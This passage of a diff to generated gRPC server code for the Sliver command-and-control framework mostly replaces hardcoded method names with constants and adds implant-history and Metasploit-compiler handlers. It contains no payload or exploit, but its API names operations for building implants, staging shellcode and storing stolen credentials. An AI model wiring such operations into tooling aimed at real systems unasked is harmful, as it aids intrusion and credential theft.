srv.(SliverRPCServer).Reconfigure(ctx, in) + return srv.(SliverRPCServer).Rename(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Reconfigure", + FullMethod: SliverRPC_Rename_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(SliverRPCServer).Reconfigure(ctx, req.(*sliverpb.ReconfigureReq)) + return srv.(SliverRPCServer).Rename(ctx, req.(*clientpb.RenameReq)) } return interceptor(ctx, in, info, handler) } -func _SliverRPC_Rename_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(clientpb.RenameReq) +func _SliverRPC_ImplantHistory_Handler(srv interface{}, stream grpc.ServerStream) error { + return srv.(SliverRPCServer).ImplantHistory(&sliverRPCImplantHistoryServer{stream}) +} + +type SliverRPC_ImplantHistoryServer interface { + SendAndClose(*commonpb.Empty) error + Recv() (*clientpb.ImplantCommand, error) + grpc.ServerStream +} + +type sliverRPCImplantHistoryServer struct { + grpc.ServerStream +} + +func (x *sliverRPCImplantHistoryServer) SendAndClose(m *commonpb.Empty) error { + return x.ServerStream.SendMsg(m) +} + +func (x *sliverRPCImplantHistoryServer) Recv() (*clientpb.ImplantCommand, error) { + m := new(clientpb.ImplantCommand) + if err := x.ServerStream.RecvMsg(m); err != nil { + return nil, err + } + return m, nil +} + +func _SliverRPC_GetImplantHistory_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(clientpb.HistoryRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { - return srv.(SliverRPCServer).Rename(ctx, in) + return srv.(SliverRPCServer).GetImplantHistory(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Rename", + FullMethod: SliverRPC_GetImplantHistory_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(SliverRPCServer).Rename(ctx, req.(*clientpb.RenameReq)) + return srv.(SliverRPCServer).GetImplantHistory(ctx, req.(*clientpb.HistoryRequest)) } return interceptor(ctx, in, info, handler) } @@ -2703,7 +2984,7 @@ func _SliverRPC_GetSessions_Handler(srv interface{}, ctx context.Context, dec fu } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/GetSessions", + FullMethod: SliverRPC_GetSessions_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).GetSessions(ctx, req.(*commonpb.Empty)) @@ -2721,7 +3002,7 @@ func _SliverRPC_GetBeacons_Handler(srv interface{}, ctx context.Context, dec fun } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/GetBeacons", + FullMethod: SliverRPC_GetBeacons_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).GetBeacons(ctx, req.(*commonpb.Empty)) @@ -2739,7 +3020,7 @@ func _SliverRPC_GetBeacon_Handler(srv interface{}, ctx context.Context, dec func } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/GetBeacon", + FullMethod: SliverRPC_GetBeacon_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).GetBeacon(ctx, req.(*clientpb.Beacon)) @@ -2757,7 +3038,7 @@ func _SliverRPC_RmBeacon_Handler(srv interface{}, ctx context.Context, dec func( } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/RmBeacon", + FullMethod: SliverRPC_RmBeacon_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).RmBeacon(ctx, req.(*clientpb.Beacon)) @@ -2775,7 +3056,7 @@ func _SliverRPC_GetBeaconTasks_Handler(srv interface{}, ctx context.Context, dec } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/GetBeaconTasks", + FullMethod: SliverRPC_GetBeaconTasks_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).GetBeaconTasks(ctx, req.(*clientpb.Beacon)) @@ -2793,7 +3074,7 @@ func _SliverRPC_GetBeaconTaskContent_Handler(srv interface{}, ctx context.Contex } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/GetBeaconTaskContent", + FullMethod: SliverRPC_GetBeaconTaskContent_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).GetBeaconTaskContent(ctx, req.(*clientpb.BeaconTask)) @@ -2811,7 +3092,7 @@ func _SliverRPC_CancelBeaconTask_Handler(srv interface{}, ctx context.Context, d } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/CancelBeaconTask", + FullMethod: SliverRPC_CancelBeaconTask_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).CancelBeaconTask(ctx, req.(*clientpb.BeaconTask)) @@ -2829,7 +3110,7 @@ func _SliverRPC_MonitorStart_Handler(srv interface{}, ctx context.Context, dec f } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/MonitorStart", + FullMethod: SliverRPC_MonitorStart_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).MonitorStart(ctx, req.(*commonpb.Empty)) @@ -2847,7 +3128,7 @@ func _SliverRPC_MonitorStop_Handler(srv interface{}, ctx context.Context, dec fu } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/MonitorStop", + FullMethod: SliverRPC_MonitorStop_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).MonitorStop(ctx, req.(*commonpb.Empty)) @@ -2865,7 +3146,7 @@ func _SliverRPC_GetJobs_Handler(srv interface{}, ctx context.Context, dec func(i } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/GetJobs", + FullMethod: SliverRPC_GetJobs_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).GetJobs(ctx, req.(*commonpb.Empty)) @@ -2883,7 +3164,7 @@ func _SliverRPC_KillJob_Handler(srv interface{}, ctx context.Context, dec func(i } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/KillJob", + FullMethod: SliverRPC_KillJob_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).KillJob(ctx, req.(*clientpb.KillJobReq)) @@ -2901,7 +3182,7 @@ func _SliverRPC_StartMTLSListener_Handler(srv interface{}, ctx context.Context, } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/StartMTLSListener", + FullMethod: SliverRPC_StartMTLSListener_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).StartMTLSListener(ctx, req.(*clientpb.MTLSListenerReq)) @@ -2919,7 +3200,7 @@ func _SliverRPC_StartWGListener_Handler(srv interface{}, ctx context.Context, de } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/StartWGListener", + FullMethod: SliverRPC_StartWGListener_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).StartWGListener(ctx, req.(*clientpb.WGListenerReq)) @@ -2937,7 +3218,7 @@ func _SliverRPC_StartDNSListener_Handler(srv interface{}, ctx context.Context, d } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/StartDNSListener", + FullMethod: SliverRPC_StartDNSListener_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).StartDNSListener(ctx, req.(*clientpb.DNSListenerReq)) @@ -2955,7 +3236,7 @@ func _SliverRPC_StartHTTPSListener_Handler(srv interface{}, ctx context.Context, } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/StartHTTPSListener", + FullMethod: SliverRPC_StartHTTPSListener_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).StartHTTPSListener(ctx, req.(*clientpb.HTTPListenerReq)) @@ -2973,7 +3254,7 @@ func _SliverRPC_StartHTTPListener_Handler(srv interface{}, ctx context.Context, } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/StartHTTPListener", + FullMethod: SliverRPC_StartHTTPListener_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).StartHTTPListener(ctx, req.(*clientpb.HTTPListenerReq)) @@ -2991,7 +3272,7 @@ func _SliverRPC_StartTCPStagerListener_Handler(srv interface{}, ctx context.Cont } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/StartTCPStagerListener", + FullMethod: SliverRPC_StartTCPStagerListener_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).StartTCPStagerListener(ctx, req.(*clientpb.StagerListenerReq)) @@ -3009,7 +3290,7 @@ func _SliverRPC_StartHTTPStagerListener_Handler(srv interface{}, ctx context.Con } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/StartHTTPStagerListener", + FullMethod: SliverRPC_StartHTTPStagerListener_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).StartHTTPStagerListener(ctx, req.(*clientpb.StagerListenerReq)) @@ -3027,7 +3308,7 @@ func _SliverRPC_LootAdd_Handler(srv interface{}, ctx context.Context, dec func(i } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/LootAdd", + FullMethod: SliverRPC_LootAdd_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).LootAdd(ctx, req.(*clientpb.Loot)) @@ -3045,7 +3326,7 @@ func _SliverRPC_LootRm_Handler(srv interface{}, ctx context.Context, dec func(in } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/LootRm", + FullMethod: SliverRPC_LootRm_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).LootRm(ctx, req.(*clientpb.Loot)) @@ -3063,7 +3344,7 @@ func _SliverRPC_LootUpdate_Handler(srv interface{}, ctx context.Context, dec fun } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/LootUpdate", + FullMethod: SliverRPC_LootUpdate_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).LootUpdate(ctx, req.(*clientpb.Loot)) @@ -3081,7 +3362,7 @@ func _SliverRPC_LootContent_Handler(srv interface{}, ctx context.Context, dec fu } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/LootContent", + FullMethod: SliverRPC_LootContent_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).LootContent(ctx, req.(*clientpb.Loot)) @@ -3099,7 +3380,7 @@ func _SliverRPC_LootAll_Handler(srv interface{}, ctx context.Context, dec func(i } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/LootAll", + FullMethod: SliverRPC_LootAll_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).LootAll(ctx, req.(*commonpb.Empty)) @@ -3117,7 +3398,7 @@ func _SliverRPC_Creds_Handler(srv interface{}, ctx context.Context, dec func(int } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Creds", + FullMethod: SliverRPC_Creds_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Creds(ctx, req.(*commonpb.Empty)) @@ -3135,7 +3416,7 @@ func _SliverRPC_CredsAdd_Handler(srv interface{}, ctx context.Context, dec func( } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/CredsAdd", + FullMethod: SliverRPC_CredsAdd_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).CredsAdd(ctx, req.(*clientpb.Credentials)) @@ -3153,7 +3434,7 @@ func _SliverRPC_CredsRm_Handler(srv interface{}, ctx context.Context, dec func(i } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/CredsRm", + FullMethod: SliverRPC_CredsRm_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).CredsRm(ctx, req.(*clientpb.Credentials)) @@ -3171,7 +3452,7 @@ func _SliverRPC_CredsUpdate_Handler(srv interface{}, ctx context.Context, dec fu } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/CredsUpdate", + FullMethod: SliverRPC_CredsUpdate_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).CredsUpdate(ctx, req.(*clientpb.Credentials)) @@ -3189,7 +3470,7 @@ func _SliverRPC_GetCredByID_Handler(srv interface{}, ctx context.Context, dec fu } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/GetCredByID", + FullMethod: SliverRPC_GetCredByID_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).GetCredByID(ctx, req.(*clientpb.Credential)) @@ -3207,7 +3488,7 @@ func _SliverRPC_GetCredsByHashType_Handler(srv interface{}, ctx context.Context, } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/GetCredsByHashType", + FullMethod: SliverRPC_GetCredsByHashType_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).GetCredsByHashType(ctx, req.(*clientpb.Credential)) @@ -3225,7 +3506,7 @@ func _SliverRPC_GetPlaintextCredsByHashType_Handler(srv interface{}, ctx context } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/GetPlaintextCredsByHashType", + FullMethod: SliverRPC_GetPlaintextCredsByHashType_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).GetPlaintextCredsByHashType(ctx, req.(*clientpb.Credential)) @@ -3243,7 +3524,7 @@ func _SliverRPC_CredsSniffHashType_Handler(srv interface{}, ctx context.Context, } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/CredsSniffHashType", + FullMethod: SliverRPC_CredsSniffHashType_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).CredsSniffHashType(ctx, req.(*clientpb.Credential)) @@ -3261,7 +3542,7 @@ func _SliverRPC_Hosts_Handler(srv interface{}, ctx context.Context, dec func(int } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Hosts", + FullMethod: SliverRPC_Hosts_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Hosts(ctx, req.(*commonpb.Empty)) @@ -3279,7 +3560,7 @@ func _SliverRPC_Host_Handler(srv interface{}, ctx context.Context, dec func(inte } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Host", + FullMethod: SliverRPC_Host_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Host(ctx, req.(*clientpb.Host)) @@ -3297,7 +3578,7 @@ func _SliverRPC_HostRm_Handler(srv interface{}, ctx context.Context, dec func(in } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/HostRm", + FullMethod: SliverRPC_HostRm_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).HostRm(ctx, req.(*clientpb.Host)) @@ -3315,7 +3596,7 @@ func _SliverRPC_HostIOCRm_Handler(srv interface{}, ctx context.Context, dec func } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/HostIOCRm", + FullMethod: SliverRPC_HostIOCRm_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).HostIOCRm(ctx, req.(*clientpb.IOC)) @@ -3333,7 +3614,7 @@ func _SliverRPC_Generate_Handler(srv interface{}, ctx context.Context, dec func( } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Generate", + FullMethod: SliverRPC_Generate_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Generate(ctx, req.(*clientpb.GenerateReq)) @@ -3351,7 +3632,7 @@ func _SliverRPC_GenerateExternal_Handler(srv interface{}, ctx context.Context, d } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/GenerateExternal", + FullMethod: SliverRPC_GenerateExternal_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).GenerateExternal(ctx, req.(*clientpb.ExternalGenerateReq)) @@ -3369,7 +3650,7 @@ func _SliverRPC_GenerateExternalSaveBuild_Handler(srv interface{}, ctx context.C } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/GenerateExternalSaveBuild", + FullMethod: SliverRPC_GenerateExternalSaveBuild_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).GenerateExternalSaveBuild(ctx, req.(*clientpb.ExternalImplantBinary)) @@ -3387,7 +3668,7 @@ func _SliverRPC_GenerateExternalGetImplantConfig_Handler(srv interface{}, ctx co } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/GenerateExternalGetImplantConfig", + FullMethod: SliverRPC_GenerateExternalGetImplantConfig_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).GenerateExternalGetImplantConfig(ctx, req.(*clientpb.ImplantConfig)) @@ -3426,7 +3707,7 @@ func _SliverRPC_BuilderTrigger_Handler(srv interface{}, ctx context.Context, dec } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/BuilderTrigger", + FullMethod: SliverRPC_BuilderTrigger_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).BuilderTrigger(ctx, req.(*clientpb.Event)) @@ -3444,7 +3725,7 @@ func _SliverRPC_Builders_Handler(srv interface{}, ctx context.Context, dec func( } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Builders", + FullMethod: SliverRPC_Builders_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Builders(ctx, req.(*commonpb.Empty)) @@ -3483,7 +3764,7 @@ func _SliverRPC_CrackstationTrigger_Handler(srv interface{}, ctx context.Context } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/CrackstationTrigger", + FullMethod: SliverRPC_CrackstationTrigger_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).CrackstationTrigger(ctx, req.(*clientpb.Event)) @@ -3501,7 +3782,7 @@ func _SliverRPC_CrackstationBenchmark_Handler(srv interface{}, ctx context.Conte } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/CrackstationBenchmark", + FullMethod: SliverRPC_CrackstationBenchmark_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).CrackstationBenchmark(ctx, req.(*clientpb.CrackBenchmark)) @@ -3519,7 +3800,7 @@ func _SliverRPC_Crackstations_Handler(srv interface{}, ctx context.Context, dec } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Crackstations", + FullMethod: SliverRPC_Crackstations_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Crackstations(ctx, req.(*commonpb.Empty)) @@ -3537,7 +3818,7 @@ func _SliverRPC_CrackTaskByID_Handler(srv interface{}, ctx context.Context, dec } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/CrackTaskByID", + FullMethod: SliverRPC_CrackTaskByID_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).CrackTaskByID(ctx, req.(*clientpb.CrackTask)) @@ -3555,7 +3836,7 @@ func _SliverRPC_CrackTaskUpdate_Handler(srv interface{}, ctx context.Context, de } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/CrackTaskUpdate", + FullMethod: SliverRPC_CrackTaskUpdate_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).CrackTaskUpdate(ctx, req.(*clientpb.CrackTask)) @@ -3573,7 +3854,7 @@ func _SliverRPC_CrackFilesList_Handler(srv interface{}, ctx context.Context, dec } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/CrackFilesList", + FullMethod: SliverRPC_CrackFilesList_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).CrackFilesList(ctx, req.(*clientpb.CrackFile)) @@ -3591,7 +3872,7 @@ func _SliverRPC_CrackFileCreate_Handler(srv interface{}, ctx context.Context, de } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/CrackFileCreate", + FullMethod: SliverRPC_CrackFileCreate_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).CrackFileCreate(ctx, req.(*clientpb.CrackFile)) @@ -3609,7 +3890,7 @@ func _SliverRPC_CrackFileChunkUpload_Handler(srv interface{}, ctx context.Contex } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/CrackFileChunkUpload", + FullMethod: SliverRPC_CrackFileChunkUpload_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).CrackFileChunkUpload(ctx, req.(*clientpb.CrackFileChunk)) @@ -3627,7 +3908,7 @@ func _SliverRPC_CrackFileChunkDownload_Handler(srv interface{}, ctx context.Cont } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/CrackFileChunkDownload", + FullMethod: SliverRPC_CrackFileChunkDownload_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).CrackFileChunkDownload(ctx, req.(*clientpb.CrackFileChunk)) @@ -3645,7 +3926,7 @@ func _SliverRPC_CrackFileComplete_Handler(srv interface{}, ctx context.Context, } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/CrackFileComplete", + FullMethod: SliverRPC_CrackFileComplete_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).CrackFileComplete(ctx, req.(*clientpb.CrackFile)) @@ -3663,7 +3944,7 @@ func _SliverRPC_CrackFileDelete_Handler(srv interface{}, ctx context.Context, de } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/CrackFileDelete", + FullMethod: SliverRPC_CrackFileDelete_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).CrackFileDelete(ctx, req.(*clientpb.CrackFile)) @@ -3681,7 +3962,7 @@ func _SliverRPC_Regenerate_Handler(srv interface{}, ctx context.Context, dec fun } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Regenerate", + FullMethod: SliverRPC_Regenerate_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Regenerate(ctx, req.(*clientpb.RegenerateReq)) @@ -3699,7 +3980,7 @@ func _SliverRPC_ImplantBuilds_Handler(srv interface{}, ctx context.Context, dec } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/ImplantBuilds", + FullMethod: SliverRPC_ImplantBuilds_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).ImplantBuilds(ctx, req.(*commonpb.Empty)) @@ -3717,7 +3998,7 @@ func _SliverRPC_DeleteImplantBuild_Handler(srv interface{}, ctx context.Context, } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/DeleteImplantBuild", + FullMethod: SliverRPC_DeleteImplantBuild_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).DeleteImplantBuild(ctx, req.(*clientpb.DeleteReq)) @@ -3735,7 +4016,7 @@ func _SliverRPC_Canaries_Handler(srv interface{}, ctx context.Context, dec func( } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Canaries", + FullMethod: SliverRPC_Canaries_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Canaries(ctx, req.(*commonpb.Empty)) @@ -3753,7 +4034,7 @@ func _SliverRPC_GenerateWGClientConfig_Handler(srv interface{}, ctx context.Cont } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/GenerateWGClientConfig", + FullMethod: SliverRPC_GenerateWGClientConfig_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).GenerateWGClientConfig(ctx, req.(*commonpb.Empty)) @@ -3771,7 +4052,7 @@ func _SliverRPC_GenerateUniqueIP_Handler(srv interface{}, ctx context.Context, d } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/GenerateUniqueIP", + FullMethod: SliverRPC_GenerateUniqueIP_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).GenerateUniqueIP(ctx, req.(*commonpb.Empty)) @@ -3789,7 +4070,7 @@ func _SliverRPC_ImplantProfiles_Handler(srv interface{}, ctx context.Context, de } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/ImplantProfiles", + FullMethod: SliverRPC_ImplantProfiles_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).ImplantProfiles(ctx, req.(*commonpb.Empty)) @@ -3807,7 +4088,7 @@ func _SliverRPC_DeleteImplantProfile_Handler(srv interface{}, ctx context.Contex } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/DeleteImplantProfile", + FullMethod: SliverRPC_DeleteImplantProfile_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).DeleteImplantProfile(ctx, req.(*clientpb.DeleteReq)) @@ -3825,7 +4106,7 @@ func _SliverRPC_SaveImplantProfile_Handler(srv interface{}, ctx context.Context, } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/SaveImplantProfile", + FullMethod: SliverRPC_SaveImplantProfile_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).SaveImplantProfile(ctx, req.(*clientpb.ImplantProfile)) @@ -3843,7 +4124,7 @@ func _SliverRPC_MsfStage_Handler(srv interface{}, ctx context.Context, dec func( } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/MsfStage", + FullMethod: SliverRPC_MsfStage_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).MsfStage(ctx, req.(*clientpb.MsfStagerReq)) @@ -3861,7 +4142,7 @@ func _SliverRPC_ShellcodeRDI_Handler(srv interface{}, ctx context.Context, dec f } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/ShellcodeRDI", + FullMethod: SliverRPC_ShellcodeRDI_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).ShellcodeRDI(ctx, req.(*clientpb.ShellcodeRDIReq)) @@ -3879,7 +4160,7 @@ func _SliverRPC_GetCompiler_Handler(srv interface{}, ctx context.Context, dec fu } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/GetCompiler", + FullMethod: SliverRPC_GetCompiler_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).GetCompiler(ctx, req.(*commonpb.Empty)) @@ -3887,6 +4168,24 @@ func _SliverRPC_GetCompiler_Handler(srv interface{}, ctx context.Context, dec fu return interceptor(ctx, in, info, handler) } +func _SliverRPC_GetMetasploitCompiler_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(commonpb.Empty) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(SliverRPCServer).GetMetasploitCompiler(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: SliverRPC_GetMetasploitCompiler_FullMethodName, + } 